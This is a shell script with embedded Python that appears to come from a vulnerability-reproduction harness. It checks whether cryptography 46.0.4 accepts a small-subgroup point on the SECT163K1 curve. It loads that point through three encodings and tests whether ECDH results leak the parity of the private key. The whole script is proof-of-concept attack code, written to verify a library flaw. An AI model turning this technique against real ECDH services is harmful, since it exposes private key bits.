#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

python3 -m pip install --user "cryptography==46.0.4" >"$LOGS/variant_pip_install.txt" 2>&1

python3 - <<'PY' >"$LOGS/variant_attempts.txt" 2>&1
import sys
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

curve = ec.SECT163K1()
size = (curve.key_size + 7) // 8
x_bytes = b"\x00" * size
y_bytes = (b"\x00" * (size - 1)) + b"\x01"

uncompressed = b"\x04" + x_bytes + y_bytes
compressed = b"\x03" + x_bytes  # y LSB = 1 for (0,1)


def leakage_check(pub):
    results = {}
    for d in [1, 2, 3, 4]:
        priv = ec.derive_private_key(d, curve, default_backend())
        try:
            secret = priv.exchange(ec.ECDH(), pub)
            results[d] = ("ok", secret.hex())
        except Exception as exc:
            results[d] = ("err", str(exc))
        print(f"  d={d} status={results[d][0]} info={results[d][1]}")
    odd_ok = results[1][0] == "ok" and results[3][0] == "ok"
    even_err = results[2][0] == "err" and results[4][0] == "err"
    return odd_ok and even_err

attempts = []

print("Attempt 1: from_encoded_point (uncompressed)")
try:
    pub1 = ec.EllipticCurvePublicKey.from_encoded_point(curve, uncompressed)
    ok = leakage_check(pub1)
    attempts.append(("from_encoded_point_uncompressed", ok, None))
    print(f"  result={'OK' if ok else 'FAIL'}")
except Exception as exc:
    attempts.append(("from_encoded_point_uncompressed", False, str(exc)))
    print(f"  error={exc}")

print("\nAttempt 2: from_encoded_point (compressed)")
try:
    pub2 = ec.EllipticCurvePublicKey.from_encoded_point(curve, compressed)
    ok = leakage_check(pub2)
    attempts.append(("from_encoded_point_compressed", ok, None))
    print(f"  result={'OK' if ok else 'FAIL'}")
except Exception as exc:
    attempts.append(("from_encoded_point_compressed", False, str(exc)))
    print(f"  error={exc}")

print("\nAttempt 3: load_pem_public_key (SPKI for small-subgroup point)")
try:
    if 'pub1' not in locals():
        raise RuntimeError("unable to generate PEM because attempt 1 failed")
    pem = pub1.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    pub3 = serialization.load_pem_public_key(pem)
    ok = leakage_check(pub3)
    attempts.append(("load_pem_public_key", ok, None))
    print(f"  result={'OK' if ok else 'FAIL'}")
except Exception as exc:
    attempts.append(("load_pem_public_key", False, str(exc)))
    print(f"  error={exc}")

print("\nSummary:")
any_ok = False
for name, ok, err in attempts:
    if ok:
        any_ok = True
    print(f"  {name}: {'OK' if ok else 'FAIL'}{'' if err is None else ' error=' + err}")

if not any_ok:
    print("No variant reproduced.")
    sys.exit(1)

print("Variant reproduced via alternate entrypoint/encoding.")
PY

echo "Variant attempts complete. See $LOGS/variant_attempts.txt"
